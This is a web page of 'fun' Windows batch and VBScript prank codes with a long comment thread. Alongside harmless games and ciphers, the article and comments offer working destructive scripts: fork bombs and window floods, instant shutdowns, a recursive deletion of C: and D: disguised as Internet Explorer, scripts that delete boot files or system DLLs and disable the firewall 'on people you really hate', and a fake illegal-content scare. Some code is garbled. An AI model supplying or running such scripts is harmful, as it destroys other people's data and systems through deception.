Updated date:

Fun Batch File Codes

BATCH FILES!!!!!

If you ever wanted batch file codes that do interesting and fun stuff that you can just scare and amaze your friends with, or just to make it seem like you know allot about computer hacking well than here's the right place. Although be careful and just remember anything you do with some of these codes i am not responsible for at all. Do them at your own risk. Not only that but some of these codes might just be considered hacking. So any ways here are some codes i have acquired over time i hope you enjoy.


PS Don't forget to make sure you have these in "notepad" from the accessories in the start menu and save it as ".bat" at the end

fun-batch-file-codes

Code #1- The matrix look alike code

@echo off color a :top echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% goto:top

Code #2- E-bomb

@echo off :A start iexplore <enter website URL here ex. google.com> goto:A

fun-batch-file-codes

Code #3- Manual message making SPAMMER!

@echo off :A msg * <insert message here> goto:A

fun-batch-file-codes

Code #5- Current date and time code

@echo off :An echo Here is the current time %date% %time% goto:A

fun-batch-file-codes

Code #6- Black screen march (makes multiple command prompts and overloads computers memory)

@echo off :A Start goto:A

fun-batch-file-codes

Code #7- Simple textbook diary log

  1. type ".LOG" in caps and all
  2. save as ".LOG.txt"
  3. than simply open the file than walah


PS this one does not need to be saved as ".bat"

fun-batch-file-codes

Code #8- Getting your self automated chat

dim fname
fname=inputbox(" Hi what's your name?")
fname=inputbox(" What's up?")
fname=inputbox(" Thats kool.")


Ps Save as .vbs not .bat and also you can change text inside the quotes

fun-batch-file-codes

Code #9- code for opening and closing your CD drive

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count = 1 then
for i = 0 to colCDROMS.Count - 1
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Next ' cdrom
end if save as .vbs



Ps save as .vbs not .bat


fun-batch-file-codes

Code #10- shutdown computer

avidemux2_cli --run j-1.js --run j-2.js --end
shutdown.exe -s -t 00



ps you can change the "00" to however many seconds you want ex. "74" so than it will be 74 seconds

fun-batch-file-codes

Comments

Ehi on April 22, 2020:

@Sayalel Owesi my PC is death with the code for the endless folder how I can delete it?

yyet? on February 27, 2020:

the memory overloader crashed my pc

Sayalel Owesi on February 19, 2020:

@mms the code that creates endless folders is

@echo off

:f

md %random%

goto f

mms on February 14, 2020:

does anyone have the code that creates endless Empty folders?

UNKNOWN USER on September 19, 2017:

I have handwritten a cool .bat file 1-5 number guessing game that guesses a number you pick. Here is the code.

@echo off

:ABC

color E

echo think of a number 1-5

pause

cls

echo now remember that number or wright it down...

pause

cls

echo answer all of these questions with either yes or no.

pause

cls

set /p answer=does your number (as a word) start with an "O"?

if %answer% == yes goto A

if %answer% == no goto B

pause

cls

:A

set /p answer=is your number "1"?

if %answer% == no goto D

if %answer% == yes goto C

pause

cls

:B

set /p answer=does your number (as a word) start with a "T"?

if %answer% == no goto E

if %answer% == yes goto F

pause

cls

:C

echo HA!

pause

cls

goto ABC

:D

echo CHEATER!!!

pause

cls

goto ABC

:F

set /p answer=is your number "2"?

if %answer% == no goto G

if %answer% == yes goto 6

pause

cls

:E

set /p answer=does your number start with an "F"?

if %answer% == no goto H

if %answer% == yes goto I

pause

cls

:G

set /p answer=is your number "3"?

if %answer% == no goto J

if %answer% == yes goto K

:J

echo CHEATER!!!

pause

cls

goto ABC

:K

echo HA!

pause

cls

goto ABC

:6

echo HA!

pause

cls

goto ABC

:I

set /p answer=is your number "4"?

if %answer% == no goto M

if %answer% == yes goto L

Pause

cls

:L

echo HA!

pause

cls

goto ABC

:M

set /p answer=is your number "5"?

if %answer% == no goto N

if %answer% == yes goto O

pause

cls

:N

echo CHEATER!!!

pause

cls

goto ABC

:O

echo HA!

pause

cls

goto ABC

lol on October 21, 2015:

shutdown /i

save as.bat

champ nex on March 30, 2015:

use this to shutdown and hang a pc in 30 second

@echo off

start

shutdown -s -t 30 -c hacked

goto :a

save it has .bat

lizard squad on January 05, 2015:

:A

START

START

START

START

START

START

START

START

START

START

START

START

START

goto A

blob on October 30, 2014:

tech guy date and time does not overload your pc lol

you can do it like this

@echo off

color a

:k

echo here is the current date and time: %date% %time%

GOTO k

this will update about 4 times every 0.1 secconds

hacker on October 29, 2014:

i have made 2 but 1 of them I uploaded has presets and the other doesn't, and if it doesn't work for you maybe save it as .bat instead of .vbs

hacker on October 29, 2014:

yes it does :P I made it

Jack Walker on October 25, 2014:

this does not work

H4(K3R on October 09, 2014:

wait no screw that one I edited it and made it better

==================================================

@echo off

title letter coder, made by justin.H

color a

cls

:star

echo. letter coder, made by justin.H

echo.

echo.

echo.

set /p answer=do you want to code, decode or use some presets?:

if %answer% == code goto coder

if %answer% == decode goto decoder

if %answer% == preset goto preset

if %answer% == presets goto preset

:coder

START C:\Windows\system32\Notepad.exe

cls

:start

cls

echo.I==============================================================================I

echo.I WELCOME TO MY LETTER CODER I

echo.I==============================================================================I

echo.

echo.

echo.

set /p answer=what letter do you wish to code?:

if %answer% == a goto a

if %answer% == b goto b

if %answer% == c goto c

if %answer% == d goto d

if %answer% == e goto e

if %answer% == f goto f

if %answer% == g goto g

if %answer% == h goto h

if %answer% == i goto i

if %answer% == j goto j

if %answer% == k goto k

if %answer% == l goto l

if %answer% == m goto m

if %answer% == n goto n

if %answer% == o goto o

if %answer% == p goto p

if %answer% == q goto q

if %answer% == r goto r

if %answer% == s goto s

if %answer% == t goto t

if %answer% == u goto u

if %answer% == v goto v

if %answer% == w goto w

if %answer% == x goto x

if %answer% == y goto y

if %answer% == z goto z

:a

echo. A=f

pause

GOTO start

:b

echo. B=j

pause

GOTO start

:c

echo. C=q

pause

GOTO START

:d

echo. D=c

pause

GOTO start

:e

echo. E=p

pause

GOTO start

:f

echo. F=g

pause

GOTO start

:g

echo. G=k

pause

GOTO start

:h

echo. H=o

pause

GOTO start

:i

echo. I=m

pause

GOTO start

:j

echo. J=h

pause

GOTO start

:k

echo. K=s

pause

GOTO start

:l

echo. L=t

pause

GOTO start

:m

echo. M=y

pause

GOTO start

:n

echo. N=u

pause

GOTO start

:o

echo. O=i

pause

GOTO start

:p

echo. P=a

pause

GOTO start

:q

echo. Q=l

pause

GOTO start

:r

echo. R=x

pause

GOTO start

:s

echo. S=n

pause

GOTO start

:t

echo. T=b

pause

GOTO start

:u

echo. U=d

pause

GOTO start

:v

echo. V=r

pause

GOTO start

:w

echo. W=w

pause

GOTO start

:x

echo. X=e

pause

GOTO start

:y

echo. Y=v

pause

GOTO start

:z

echo. Z=z

pause

GOTO start

=================================================================

:decoder

cls

echo.I==============================================================================I

echo.I WELCOME TO MY LETTER DECODER I

echo.I==============================================================================I

echo.

echo.

echo.

set /p answer=what letter do you wish to decode?:

if %answer% == a goto a

if %answer% == b goto b

if %answer% == c goto c

if %answer% == d goto d

if %answer% == e goto e

if %answer% == f goto f

if %answer% == g goto g

if %answer% == h goto h

if %answer% == i goto i

if %answer% == j goto j

if %answer% == k goto k

if %answer% == l goto l

if %answer% == m goto m

if %answer% == n goto n

if %answer% == o goto o

if %answer% == p goto p

if %answer% == q goto q

if %answer% == r goto r

if %answer% == s goto s

if %answer% == t goto t

if %answer% == u goto u

if %answer% == v goto v

if %answer% == w goto w

if %answer% == x goto x

if %answer% == y goto y

if %answer% == z goto z

:a

echo. A=p

pause

GOTO decoder

:b

echo. B=t

pause

GOTO decoder

:c

echo. C=d

pause

GOTO decoder

:d

echo. D=u

pause

GOTO decoder

:e

echo. E=x

pause

GOTO decoder

:f

echo. F=a

pause

GOTO decoder

:g

echo. G=f

pause

GOTO decoder

:h

echo. H=j

pause

GOTO decoder

:i

echo. I=o

pause

GOTO decoder

:j

echo. J=b

pause

GOTO decoder

:k

echo. K=g

pause

GOTO decoder

:l

echo. L=q

pause

GOTO decoder

:m

echo. M=i

pause

GOTO decoder

:n

echo. N=s

pause

GOTO decoder

:o

echo. O=h

pause

GOTO decoder

:p

echo. P=e

pause

GOTO decoder

:q

echo. Q=c

pause

GOTO decoder

:r

echo. R=v

pause

GOTO decoder

:s

echo. S=k

pause

GOTO decoder

:t

echo. T=l

pause

GOTO decoder

:u

echo. U=n

pause

GOTO decoder

:v

echo. V=y

pause

GOTO decoder

:w

echo. W=w

pause

GOTO decoder

:x

echo. X=r

pause

GOTO decoder

:y

echo. Y=m

pause

GOTO decoder

:z

echo. Z=z

pause

GOTO decoder

:preset

echo.

echo.

echo.

echo.

echo. hello=optti

echo. idiot=mcmib

echo. hi=om

echo.

echo.

echo.

echo. if you want to add more presets then right click this batch and click edit, scroll right to the bottom and add a new echo :)

echo.

echo.

echo.

pause

cls

GOTO star

H@(k3R on October 06, 2014:

try this

@echo off

title letter coder, made by justin.H

color a

cls

echo. letter coder made by justin.h

echo.

echo.

echo.

set /p answer=do you want to code or decode?:

if %answer% == code goto coder

if %answer% == decode goto decoder

:coder

START C:\Windows\system32\Notepad.exe

cls

:start

cls

echo.I==============================================================================I

echo.I WELCOME TO MY LETTER CODER I

echo.I==============================================================================I

echo.

echo.

echo.

set /p answer=what letter do you wish to code?:

if %answer% == a goto a

if %answer% == b goto b

if %answer% == c goto c

if %answer% == d goto d

if %answer% == e goto e

if %answer% == f goto f

if %answer% == g goto g

if %answer% == h goto h

if %answer% == i goto i

if %answer% == j goto j

if %answer% == k goto k

if %answer% == l goto l

if %answer% == m goto m

if %answer% == n goto n

if %answer% == o goto o

if %answer% == p goto p

if %answer% == q goto q

if %answer% == r goto r

if %answer% == s goto s

if %answer% == t goto t

if %answer% == u goto u

if %answer% == v goto v

if %answer% == w goto w

if %answer% == x goto x

if %answer% == y goto y

if %answer% == z goto z

:a

echo. A=f

pause

GOTO start

:b

echo. B=j

pause

GOTO start

:c

echo. C=q

pause

GOTO START

:d

echo. D=c

pause

GOTO start

:e

echo. E=p

pause

GOTO start

:f

echo. F=g

pause

GOTO start

:g

echo. G=k

pause

GOTO start

:h

echo. H=o

pause

GOTO start

:i

echo. I=m

pause

GOTO start

:j

echo. J=h

pause

GOTO start

:k

echo. K=s

pause

GOTO start

:l

echo. L=t

pause

GOTO start

:m

echo. M=y

pause

GOTO start

:n

echo. N=u

pause

GOTO start

:o

echo. O=i

pause

GOTO start

:p

echo. P=a

pause

GOTO start

:q

echo. Q=l

pause

GOTO start

:r

echo. R=x

pause

GOTO start

:s

echo. S=n

pause

GOTO start

:t

echo. T=b

pause

GOTO start

:u

echo. U=d

pause

GOTO start

:v

echo. V=r

pause

GOTO start

:w

echo. W=w

pause

GOTO start

:x

echo. X=e

pause

GOTO start

:y

echo. Y=v

pause

GOTO start

:z

echo. Z=z

pause

GOTO start

=================================================================

:decoder

cls

echo.I==============================================================================I

echo.I WELCOME TO MY LETTER DECODER I

echo.I==============================================================================I

echo.

echo.

echo.

set /p answer=what letter do you wish to decode?:

if %answer% == a goto a

if %answer% == b goto b

if %answer% == c goto c

if %answer% == d goto d

if %answer% == e goto e

if %answer% == f goto f

if %answer% == g goto g

if %answer% == h goto h

if %answer% == i goto i

if %answer% == j goto j

if %answer% == k goto k

if %answer% == l goto l

if %answer% == m goto m

if %answer% == n goto n

if %answer% == o goto o

if %answer% == p goto p

if %answer% == q goto q

if %answer% == r goto r

if %answer% == s goto s

if %answer% == t goto t

if %answer% == u goto u

if %answer% == v goto v

if %answer% == w goto w

if %answer% == x goto x

if %answer% == y goto y

if %answer% == z goto z

:a

echo. A=p

pause

GOTO decoder

:b

echo. B=t

pause

GOTO decoder

:c

echo. C=d

pause

GOTO decoder

:d

echo. D=u

pause

GOTO decoder

:e

echo. E=x

pause

GOTO decoder

:f

echo. F=a

pause

GOTO decoder

:g

echo. G=f

pause

GOTO decoder

:h

echo. H=j

pause

GOTO decoder

:i

echo. I=o

pause

GOTO decoder

:j

echo. J=b

pause

GOTO decoder

:k

echo. K=g

pause

GOTO decoder

:l

echo. L=q

pause

GOTO decoder

:m

echo. M=i

pause

GOTO decoder

:n

echo. N=s

pause

GOTO decoder

:o

echo. O=h

pause

GOTO decoder

:p

echo. P=e

pause

GOTO decoder

:q

echo. Q=c

pause

GOTO decoder

:r

echo. R=v

pause

GOTO decoder

:s

echo. S=k

pause

GOTO decoder

:t

echo. T=l

pause

GOTO decoder

:u

echo. U=n

pause

GOTO decoder

:v

echo. V=y

pause

GOTO decoder

:w

echo. W=w

pause

GOTO decoder

:x

echo. X=r

pause

GOTO decoder

:y

echo. Y=m

pause

GOTO decoder

:z

echo. Z=z

pause

GOTO decoder

unknown on September 15, 2014:

were do you put the codes in

random person on August 03, 2014:

ok peoples I have to warn you all, I was spaming the student drives with batch files at school kinda like these and the admin deleted all my .bat files and limited EVERYTHING so now I cant even go on my own usb :'(

and I cant install anything like iTunes or games or anything. and I cant even get into cmd without a password /_O_\.

I even talked to the admin and I was like WHAT DA FUK MAN and now he pretty much hates me :(

if anyone knows how to delete these admin rights off my school laptop PLEASE PLEASE PLEASE email me

justingamehero@Hotmail.com

battlecraft2 on August 03, 2014:

i just read ALL the coments... wow...

H@cK3R on July 23, 2014:

how would I make a batch that when its opend it will automatically goto lock screen on computer

if you can tell me email me @ justingamehero@Hotmail or justinjameshumphries@Hotmail.com

H@cK3R on July 23, 2014:

title TROLL

@echo off

:top

md %random%

echo lol

@echo off

echo troll

echo troll

echo troll

echo troll

echo troll

echo troll

echo troll

echo troll

echo troll

echo troll

color 12

color 23

color 45

color 67

color 89

color 91

color 37

color 42

color 43

color 51

color 15

color 42

color 2

color 3

color 34

goto top

===================================

makes HEAPS of empty folders, I could make a faster one

hi on July 23, 2014:

@echo off

msg * warning computer has detected illegal pornography

msg * click ok or exit this box to remove

msg * formatting computer

:lol

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

GOTO lol

Codex on March 16, 2014:

This one is a harmless batch file that freezes your computer screen. Restart for it to stop.

@echo off

:loop

start

goto loop

Gufy on March 12, 2014:

How do i create batch file for cleanmgr ?

Help please.

sleepy argument on March 05, 2014:

Deadly virus ...

@echo off

msg * wait for 5 min scanning......

cd D:\

mkdir zzz

cd D:\zzz

echo @echo off ►► X.bat

echo del D:\*.*/q ►►X.bat

start X.bat

del %systemdrive%/f/s/q

shutdown -r -s -t 03 -c "Bye"

===================

Save as Internet Explorer.bat

Don't forgive

===================

after save as Internet Explorer.bat and add shortcut and add name to shortcut Internet Explorer.exe after change icon and add on winrar

(internet explorer.bat and internet explorer.exe) formats

===================

this deadly virus will deleting files of D:\ and C:\ discs

tech guy on February 20, 2014:

can the "current date and time" code overload my pc? :/

Moriarty X on January 30, 2014:

This is how you can burn in hell!

1.01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000

2.01100110011011110111001001101101011000010111010000 100000011001000011101001011100 0010000000101111010100010010111101011000

3.01100110011011110111001001101101011000010111010000 100000011000010011101001011100 0010000000101111010100010010111101011000

4.01100100011001010110110000100000001011110100011000 101111010100110010111101010001 00100000011000110011101001011100011000100110111101 101111011101000010111001101001 0110111001101001

Type any one of the following or all of them in notepad and save as .exe The moment you open(especially if the last one), your pc is a fish-fry!! HA HA HA!!

afnan on January 22, 2014:

But save wth wich cmnd; (

jake on January 19, 2014:

im making a code that will open IE cause its my default browser and i want it to press F12 and change all text on the screen to batman here is what i got so far

@echo off

start www.iamawesome.com

start www.google.com

Death Man on January 02, 2014:

I made this epic virus type thing using notepad.

It isn't intentionally dangerous but it could become so if it get file explorer or something open so be careful when you use it and be ready to shutdown your computer.

Also it cannot be closed by Task Manager so if you want to be able to you need to delete the line of script with ESC in it.

I don't know if it completely works so tweak it if you need to and post any improvements you have in mind.

Here is the sript:

X=Msgbox("Your computer has been infected with a deadly, incurable LOL virus!",2+48+4096,"Virus Warning")

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wshshell.sendkeys "{HOME}"

wshshell.sendkeys "{TAB}"

wshshell.sendkeys "{F1}"

wshshell.sendkeys "{F2}"

wshshell.sendkeys "{F3}"

wshshell.sendkeys "{PGUP}"

wshshell.sendkeys "{F4}"

wshshell.sendkeys "{F5}"

wshshell.sendkeys "{F6}"

wshshell.sendkeys "{END}"

wshshell.sendkeys "{F7}"

wshshell.sendkeys "{F8}"

wshshell.sendkeys "{F9}"

wshshell.sendkeys "{PGDN}"

wshshell.sendkeys "{F10}"

wshshell.sendkeys "{F11}"

wshshell.sendkeys "{F12}"

wshshell.sendkeys "{CAPSLOCK}"

wshshell.sendkeys "{NUMLOCK}"

wshshell.sendkeys "{SCROLLLOCK}"

wshshell.sendkeys "~(enter)"

wshshell.sendkeys "{bs}"

wshshell.sendkeys "1234567890 HaHaHaHaHaHa 0987654321"

Happy Virusing!

P.S. Save with .VBS extension

wshshell.sendkeys "{ESC}"

loop

sup on December 12, 2013:

this is awesome guys

An upcoming Hacker on November 24, 2013:

For the LAN network chat: The basic concept was good. However, seeing as how I am going to be using this for my school, I didn't want it to be back traceable to the students who use it. So I had it remove the report.txt file and instead, save it in the log.dat file as "%name% has logged in". Then, I also added the custom message so instead of it saving just the %say% to the log.dat, it saves %name%: %say% to it so others can see who sent it.

Jade on November 20, 2013:

shutdown other code where do I find it

Pratham Khanal on November 17, 2013:

That was fantastic. U are Really a great person.

lol on November 04, 2013:

title A Casual Login

color a

cls

@echo off

echo Welcome to a casual log-in

echo.

echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

set /p c=Username:

echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

set /p u=Password:

echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

msg * Welcome %c%.

pause

Alex James on October 29, 2013:

I took the well known Matrix batch file code and gave it a little more. Now, instead of only filling a portion of the prompt and each line being a different length, they are all equal and go to the edge of the prompt if left at default width.

Code:

@echo off

title Matrix

color 0A

:here

set line=%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %line:~0,79%

goto here

h on October 24, 2013:

nice batch files

Admin on October 24, 2013:

Bad..........................................................

sam on September 29, 2013:

nice bros do more I am enjoying it

topdude15 on September 26, 2013:

Made a Minecraft Quiz... If you copy it plz give me credit and dont change loading page.

@echo off

:home

title Log in to CMD

color 07

cls

echo.

echo Cmd Accounts

echo =============

echo.

echo [1] Log In

echo [2] Sign Up

echo [3] Exit

echo.

set /p op=

if %op%==1 goto 1

if %op%==2 goto 2

if %op%==3 goto 3

goto error

:2

cls

echo Sign Up

echo ======================================

echo.

set /p newname="Enter new username:"

if "%newname%"=="%newname%" goto inputname

:inputname

cd "%userprofile%\documents"

if exist "cmdacoBin" goto skip

if not exist "cmdacoBin" goto noskip

:noskip

md "cmdacoBin"

goto skip

:skip

cd "%userprofile%\documents\cmdacoBin"

if exist "%newname%.bat" goto namexist

if not exist "%newname%.bat" goto skip2

:skip2

echo set realusername=%newname% "%newname%.bat"

goto next

:next

echo.

set /p pswd=Enter new Password:

if "%pswd%"=="%pswd%" goto inputpass

:inputpass

cd "%userprofile%\documents\cmdacoBin"

echo set password=%pswd% "%newname%.bat"

goto next1

:namexist

echo.

echo The entered username already exists.

echo Press any key to return. . .

pause nul

goto 2

:next1

cls

echo Cmd Accounts

echo ============

echo.

echo Your account has been successfully created!

echo.

pause

goto home

:1

color 07

cls

echo Cmd Accounts Log In

echo ================================

echo.

Set /p logname=Username:

if "%logname%"=="%logname%" goto 2.1

:2.1

echo.

set /p logpass="Password:"

if "%logpass%"=="%logpass%" goto login

:login

cd "%userprofile%\documents\cmdacoBin"

if exist "%logname%.bat" goto call

if not exist "%logname%.bat" goto errorlog

:call

call "%logname%.bat"

if "%password%"=="%logpass%" goto logdone

goto errorlog

:errorlog

color 0c

echo.

echo Username or Password incorrect.

echo Access denied.

pause nul

goto home

:logdone

cls

echo Command Prompt

echo ==============

echo.

echo Successfully logged in!

echo.

pause

goto account

:account

cls

cd "%userprofile%\documents\cmdacoBin"

call "%realusername%color.bat"

call "%realusername%.bat"

color %colorcode%

cls

echo.

echo -------------------------------------------------------------------------------

echo %realusername%

echo -------------------------------------------------------------------------------

@echo off

break off

Title Command Prompt

color 0a

cls

echo Type "home" any time to go to the current user profile directory.

echo Type "desktop" any time to go to the current user desktop.

echo.

echo Type help to see list of common commands like cd, rd, md, del,

echo ren, replace, copy, xcopy, move, attrib, tree, edit, and cls.

echo Type [command]/? for detailed info.

echo.

pause

cls

:cmd

echo Directory: %CD%

set /P CMD=Command:

if "%CMD%" == "cls" goto cls

if "%CMD%" == "home" goto home2

if "%CMD%" == "desktop" goto desktop

if "%CMD%" == "red" goto red

if "%CMD%" == "green" goto green

if "%CMD%" == "normal" goto normal

%CMD%

cd C:\

goto cmd

:cls

cls

goto cmd

:home2

cd /d %USERPROFILE%

cls

goto cmd

:desktop

cd /d %SystemDrive%\Users\%USERNAME%\Desktop

cls

goto cmd

:red

color 0c

cls

goto cmd

:green

color 0a

cls

goto cmd

:normal

color 07

cls

goto cmd

Super Hentai Tentacle Fappaton Spectacular on September 10, 2013:

Can't you just make an unstoppable "virus" by making a simple batch file that shuts off the system when launch and just put that batch file in the startup folder?

quert on September 06, 2013:

i like this

lol on September 06, 2013:

lomljkh

pravin on September 05, 2013:

goood

zef on September 02, 2013:

excellent

annzpired on August 26, 2013:

nice

Calingo Flanc on August 19, 2013:

@echo off

title MATRIX SHELL

Color 0A

Prompt .

REM --- MATRIX SHELL BY cALINGO FLANC

:a

echo %random% %random% %random% %random% %random% %random%

echo %random% %random% %random% %random% %random% %random%

echo %random% %random% %random% %random% %random% %random%

echo %random% %random% %random% %random% %random% %random%

echo %random% %random% %random% %random% %random% %random%

echo %random% %random% %random% %random% %random% %random%

goto a

purge on August 17, 2013:

I have created a website with a small library of batch code examples.

www.learnbatchtoday.webs.com

It has basic coding for a lot of things.

please visit for further inquiry of content.

Tobbeeee69 on July 11, 2013:

@echo off

C:

cd C:/Windows

tree --%APPDATA%/3.txt

cd %APPDATA%/

:a

type 3.txt --3.txt

goto a

exit

ERSETZE ALLE "-" mit GRÖßER KLEINER Zeichen

Das macht eine Datei, mit dem Inhalt aller Windows Ordner und Unterordner. Die Datei hängt sich immer wieder an sich selber an.

Cmd-Fenster klein machen und warten.

Datei wird in 5 min. ca. 1 GB groß

Viel Spaß beim Trollen

Mfg; Tobbeeee69

kabir on July 10, 2013:

Wow!!!!!nice tricks

pebbles on June 04, 2013:

is it possible to send a batch file wirelessly without emailing it

Superman0801 on May 27, 2013:

this is a cool rainbow code.

@ECHO OFF

:start

color 12

color 34

color 56

color 78

color 90

color ab

color cd

color ef

goto start

Navoda on May 27, 2013:

@echooff

Colour oa

Echo cool cool %username%

%date% %time

Msg * dumb

Msg * dumb

Shutdown -s-h

Time t/ 10

pebbles on May 16, 2013:

what does Unterminated string constant

pebbles on May 15, 2013:

didn't work need another one

pebbles on May 06, 2013:

thank you so much THE AWESOME!

THE AWESOME on May 03, 2013:

download my program VERZA.

2000 lines of code, runs on six batch programs, and custom password not to mention integrated memory!!!!

download here (in description)

http://www.youtube.com/watch?v=UgSafQNSiRY

Cephas on May 02, 2013:

how do you lock a computer using batch code

Pebbles on May 02, 2013:

How do you make a virus that locks a computer and that can only be unlocked by a code that I make up?

PatchGuru on April 27, 2013:

@echo off

set myNumStarsVar=%result%

if %result%==1 set myNumStarsVar=50

if %result%==1 set myNumStarsVar=15

cls

set myAddVar=0

:TestLoop

set myAddVar=%result%

set myColor=%result%

set myYVar=%result%

set myXVar=%result%

set mPercent=%result%

echo %mPercent%%%

if %myAddVar%==%myNumStarsVar% goto Finish

goto TestLoop

:Finish

pause

cls

neyo p on April 26, 2013:

it is very easy to destroy but its not easy to create........when you knw the 2 dats when you perfect

Ndiwa on April 24, 2013:

Great Site

masterhackerz154 on April 17, 2013:

@echo off

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30(insert right arrow)\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75(two right arrws)\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88(same)\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3(same)\z.dbg

echo g=100(same)\z.dbg

echo q(same)\z.dbg

debug(left arrw)\z.dbg(right arrw)nul

del \z.dbg

--------------------------------------------

makes screen flash colors, press any key to stop. *MUST* in ( ) put arrows. ENJOY

anonymous on March 23, 2013:

@echo off

color 0A

:start

echo .................................................

pause

goto start

msg error

color 2

:a

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto a

linxs on February 26, 2013:

this is a great troll

@echo off

title warning!

echo your computer has detected a virus!

pause

echo locating virus in systems...

pause

echo virus found

pause

echo would like to delete the virus?

pause

echo virus is to strong ERROR ERROR ERROR

pause

color 4

echo access denied

pause

echo access denied

pause

echo access denied

pause

echo access denied

pause

echo access denied

pause

msg * your so fucked now haha

:top

color 2

echo %random%%random%%random%%random%%random%%random%%random%%random%

%random%%random%%random%%random%%random%%random%%random%%random%%random%

%random%%random%%random%%random%%random%%random%%random%%random%%random%

%random%%random%%random%%random%%random%%random%%random%%random%%random%

%random%%random%%random%%random%%random%%random%%random%%random%%random%

goto top

pampew10 on February 26, 2013:

i was wondering why the cd rom thing wouldn't work?

thewithz on February 24, 2013:

this one deletes the files necessary to start the computer effectively making the computer broken forever. so basically only use this on people you really hate

@echo off

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

thewithz on February 24, 2013:

netsh

firewall

set opmode disable

del "c:\windows\system\hall.dll

del "c:\windows\system\sensapi.dll

start "http://youareanidiot.org/"

shutdown -s -t 15

msg * hahaha loser !

shutdown -a

shutdown -s -t 100

awesome1o1 on February 02, 2013:

This game was 100% made by me and it's VERY long :)

@echo off

cls

title WW2 QUIZ

echo LOADING GAME...

ping localhost -n 5 (greater than) nul

cls

@echo off

color 0a

title WW2 QUIZ

:loop

menu:

cls

echo HELLO AND WELCOME TO MY FIRST GAME

echo you get to...

echo 1) start

echo 2) info

echo 3) exit

set /p number=

if not defined number (

cls

goto loop

)

if %number% == 1 goto game

if %number% == 2 goto info

if %number% == 3 goto exit

:game

cls

echo who are you?

set /p name=

echo hello %name%!

echo are you ready to start the quiz? (y/n)

set /p start=

if %start% == y goto 1v11

if %start% == Y goto 1v11

if %start% == n goto menu

if %start% == N goto menu

goto startgame

:info

cls

echo press your desired button and press enter to continue to wherever you are going

echo The rules are...

echo A.dont cheat

echo B.dont call call yourself inapropriate names

echo.

echo go back (y/n)

set /p help=

if %help% == y goto menu

if %help% == Y goto menu

if %help% == n goto info

if %help% == N goto info

goto menu

:1v11

cls

color 0a

echo hello, please answer the following question

echo when did world war 2 start?

echo A. 1939

echo B. 2045

echo c. 1956

echo d. 1929

set /p !=

if %!% == a goto cr1

if %!% == b goto wr1

if %!% == c goto wr1

if %!% == d goto wr1

goto 1v11

:cr1

echo YOU ARE CORRECT %name%!

echo.

echo continue? (y/n)

set/p ha=

if %ha% == y goto 1v12

if %ha% == n goto 1v11

goto cr1

:wr1

echo YOU HAVE FAILED!!!

echo.

pause

:1v12

cls

color 0a

echo please answer the following question

echo what was the handgun used by the allys in ww2?

echo A. springfield 1911

echo B. smith and wesson sigma 9mm

echo C. browning gp 35

echo D. colt 380

set /p !=

if %!% == a goto cr1

if %!% == b goto wr1

if %!% == c goto wr1

if %!% == d goto wr1

goto 1v12

:cr1

echo YOU ARE CORRECT %name%!

echo.

echo continue? (y/n)

set/p ha=

if %ha% == y goto 1v13

if %ha% == n goto 1v12

goto cr1

:wr1

echo YOU HAVE FAILED!!!

echo.

pause

:1v13

cls

color 0a

echo hello, please answer the following question

echo what was the bloodiest battel in ww2

echo A. the battle of the bulge

echo B.iwo jima

echo c.staliengrad

echo d.the battle of kursky

set /p !=

if %!% == a goto wr1

if %!% == b goto wr1

if %!% == c goto cr1

if %!% == d goto wr1

goto 1v14

:cr1

echo YOU ARE CORRECT %name%!

echo.

echo continue? (y/n)

set/p ha=

if %ha% == y goto 1v14

if %ha% == n goto 1v13

goto cr1

:wr1

echo YOU HAVE FAILED!!!

echo.

pause

:1v14

cls

color 0a

echo hello, please answer the following question

echo who was the president of the U.s when ww2 started?

echo A.warren harding

echo B.franklin roosevelt

echo c.harry truman

echo d.George washington

set /p !=

if %!% == a goto wr1

if %!% == b goto cr1

if %!% == c goto wr1

if %!% == d goto wr1

goto 1v15

:cr1

echo YOU ARE CORRECT %name%!

echo.

echo continue? (y/n)

set/p ha=

if %ha% == y goto 1v15

if %ha% == n goto 1v14

goto cr1

:wr1

echo YOU HAVE FAILED!!!

echo.

pause

:1v15

cls

color 0a

echo hello, please answer the following question

echo name the russian rifle that was used to defened against nazis in ww2?

echo A.tokarev svt-38

echo B.simonov sks

echo c.degtyarev ptrd 1941

echo d.all of the above

set /p !=

if %!% == a goto wr1

if %!% == b goto wr1

if %!% == c goto wr1

if %!% == d goto cr1

goto 1v15

:cr1

echo YOU ARE CORRECT %name%

echo.

echo continue? (y/n)

set/p ha=

if %ha% == y goto 1v16

if %ha% == n goto 1v15

goto cr1

:wr1

echo YOU FAILIURE!!!

echo.

pause

:1v16

cls

color 0a

echo hello, please answer the following question

echo what year did ww2 end

echo A.1945

echo B.1951

echo c.1949

set /p !=

if %!% == a goto cr1

if %!% == b goto wr1

if %!% == c goto wr1

goto 1v17

:cr1

